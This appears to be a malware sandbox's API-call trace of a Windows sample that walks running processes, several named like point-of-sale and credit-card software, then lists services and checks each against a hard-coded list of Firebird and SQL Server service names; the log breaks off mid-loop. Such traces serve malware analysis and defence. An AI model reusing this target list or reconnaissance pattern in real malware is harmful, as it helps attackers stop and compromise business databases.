	[0072.124] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0072.126] lstrlenW (lpString="ccv_server.exe") returned 14
	[0072.126] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0072.128] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0072.128] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0072.129] lstrlenW (lpString="creditservice.exe") returned 17
	[0072.129] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0072.130] lstrlenW (lpString="edcsvr.exe") returned 10
	[0072.130] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0072.132] lstrlenW (lpString="fpos.exe") returned 8
	[0072.132] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0072.133] lstrlenW (lpString="isspos.exe") returned 10
	[0072.133] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0072.133] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0072.133] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0072.134] lstrlenW (lpString="omnipos.exe") returned 11
	[0072.134] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0072.135] lstrlenW (lpString="spcwin.exe") returned 10
	[0072.135] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0072.136] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0072.136] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0072.137] lstrlenW (lpString="utg2.exe") returned 8
	[0072.137] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0072.518] lstrlenW (lpString="explicit.exe") returned 12
	[0072.518] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0072.519] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0072.519] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0072.519] lstrlenW (lpString="taskhostw.exe") returned 13
	[0072.519] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0072.520] lstrlenW (lpString="UsoClient.exe") returned 13
	[0072.520] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0072.521] lstrlenW (lpString="taskhostw.exe") returned 13
	[0072.521] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0072.521] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0072.521] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0072.522] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0072.522] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0072.523] lstrlenW (lpString="conhost.exe") returned 11
	[0072.523] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0072.523] lstrlenW (lpString="conhost.exe") returned 11
	[0072.523] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0072.524] lstrlenW (lpString="svchost.exe") returned 11
	[0072.524] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0072.525] lstrlenW (lpString="fvppjh.exe") returned 10
	[0072.525] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0072.525] lstrlenW (lpString="svchost.exe") returned 11
	[0072.525] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0072.526] lstrlenW (lpString="cmd.exe") returned 7
	[0072.526] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0072.526] lstrlenW (lpString="conhost.exe") returned 11
	[0072.526] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0072.527] lstrlenW (lpString="dllhost.exe") returned 11
	[0072.527] Process32NextW (in: hSnapshot=0x33c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0072.528] CloseHandle (hObject=0x33c) returned 1
	[0072.528] Sleep (dwMilliseconds=0x1f4) 
	[0073.404] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e868
	[0073.473] EnumServicesStatusExW (in: hSCManager=0x75e868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0073.473] GetLastError () returned 0xea
	[0073.473] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x783bf0
	[0073.474] EnumServicesStatusExW (in: hSCManager=0x75e868, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x783bf0, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x783bf0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0073.475] CloseServiceHandle (hSCObject=0x75e868) returned 1
	[0073.475] lstrlenW (lpString="Appinfo") returned 7
	[0073.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0073.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0073.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0073.475] lstrlenW (lpString="AppXSvc") returned 7
	[0073.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0073.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0073.475] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0073.475] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0073.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0073.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0073.475] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0073.475] lstrlenW (lpString="Audiosrv") returned 8
	[0073.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0073.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0073.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0073.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0073.475] lstrlenW (lpString="BFE") returned 3
	[0073.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0073.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0073.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0073.476] lstrlenW (lpString="BITS") returned 4
	[0073.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0073.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0073.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0073.476] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0073.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0073.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0073.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0073.476] lstrlenW (lpString="CDPSvc") returned 6
	[0073.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0073.476] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0073.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0073.476] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0073.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0073.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0073.476] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0073.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0073.476] lstrlenW (lpString="CryptSvc") returned 8
	[0073.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0073.477] lstrlenW (lpString="DcomLaunch") returned 10
	[0073.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0073.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0073.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0073.477] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0073.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0073.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0073.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0073.477] lstrlenW (lpString="Dhcp") returned 4
	[0073.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0073.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0073.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0073.477] lstrlenW (lpString="Dnscache") returned 8
	[0073.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0073.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0073.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0073.477] lstrlenW (lpString="DoSvc") returned 5
	[0073.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0073.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0073.477] lstrlenW (lpString="DPS") returned 3
	[0073.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0073.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0073.478] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0073.478] lstrlenW (lpString="DusmSvc") returned 7
	[0073.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0073.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0073.478] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0073.478] lstrlenW (lpString="EventLog") returned 8
	[0073.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0073.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0073.478] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0073.478] lstrlenW (lpString="EventSystem") returned 11
	[0073.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0073.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0073.478] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0073.478] lstrlenW (lpString="FontCache") returned 9
	[0073.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0073.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0073.478] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0073.478] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0073.478] lstrlenW (lpString="gpsvc") returned 5
	[0073.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0073.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0073.478] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0073.478] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0073.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0073.478] lstrlenW (lpString="iphlpsvc") returned 8
	[0073.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0073.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0073.479] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0073.479] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0073.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0073.479] lstrlenW (lpString="KeyIso") returned 6
	[0073.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0073.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0073.479] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0073.479] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0073.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0073.479] lstrlenW (lpString="LanmanServer") returned 12
	[0073.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0073.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0073.479] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0073.479] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0073.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0073.479] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0073.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0073.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0073.479] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0073.479] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0073.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0073.479] lstrlenW (lpString="lfsvc") returned 5
	[0073.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0073.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0073.479] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0073.479] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0073.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0073.479] lstrlenW (lpString="lmhosts") returned 7
	[0073.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0073.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0073.479] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0073.479] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0073.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0073.479] lstrlenW (lpString="LSM") returned 3
	[0073.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0073.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0073.480] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0073.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0073.480] lstrlenW (lpString="MapsBroker") returned 10
	[0073.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0073.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0073.480] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0073.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0073.480] lstrlenW (lpString="MpsSvc") returned 6
	[0073.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0073.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0073.480] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0073.480] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0073.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0073.480] lstrlenW (lpString="NcbService") returned 10
